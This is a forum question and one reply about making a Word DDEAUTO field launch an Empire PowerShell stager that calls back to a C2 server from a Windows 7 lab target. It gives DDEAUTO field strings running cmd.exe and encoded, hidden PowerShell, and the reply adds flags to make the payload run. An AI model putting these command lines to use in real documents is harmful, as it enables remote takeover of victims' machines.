So I'm having a BIG issue trying to get this simple exploitation technique to run properly. This is also for a job, and one of the tasks I need to complete.

I have to use Empire (https://github.com/EmpireProject/Empire) Post-Exploitation Framework, Anyways it starts off by me starting generating a simple listener for my Empire C2 server. ex. Listener: myserver

Now I have to generate a Vulnerable PowerShell script to run on the Target Win7 VM machine. (https://pastebin.com/hsGYj4Px) <---AV might go off because its the powershell script to call back to the Empire C2, but is harmless.)

by using the command "launcher powershell myserver" Empire generates a powershell script encoded with base64 and is a call back to my Empire C2 server. (Attacker Machine) (https://pastebin.com/hsGYj4Px)

Now I need to use the DDE Office Vulnerable Exploit using DDEAUTO function, and embed that into my powershell script into it, So when the .DOC is clicked on it will call back to my Empire C2.

First before putting anything into the word document, I tried running the powershell script in powershell to see if it would call back to C2 server... Which worked fine. So the base64 script is working and is fine.

Next I open up office 2010 and Do the forumla input and do {DDEAUTO "c:\Windows\System32\cmd.exe "/k powershell"} to test to see if the exploit works.

and of course runs fine and pops cmd and powershell.

Now time to EMBED the powershell base64 encoded script into the exploit. Using {DDEAUTO "C:\Windows\System32\cmd.exe "/k powershell -noP -sta -w 1 -enc (Base64 encoded script)"}

but I don't get any call back to the C2, and have tried other ways like C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe '/k .....

and other commands, and playing around with the quotes.. but just no luck. I've been playing at it for days and can't figure out why it won't launch and works fine if I launch the script alone normallly in cmd and powershell, it's only when I do this in the .DOC

When I emailed the person at the job to say I've try'd all these ways but not getting it, The person told me: You're on the right track; you've hit the problem I was referring to. Do some digging into what the problem may be; consider what is different between this payload and others.

I have no clue what I'm doing wrong, it stops working when it calls powershell in cmd, and doesn't launch the powershell script.

Windows Defender is OFF, Firewall is OFF, Win7(Target) is not updated, and Office2010 is not updated, Everything should work..

If anyone can find the issue with this, or what I'm doing wrong it would be so greatly appreciated. I've asked on many forums, and IRC's and still can't get anything. I'm missing something.


  • Can you try this way "powershell -NoP -NonI -W Hidden -E <your encoded payload goes here>". Make sure you have even number of double quotes or zero. If still it is not working then please paste the command you are running excluding payload. Also debug your code by running in command prompt before embedding in doc. – P4cK3tHuNt3R Sep 6 '18 at 11:21

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy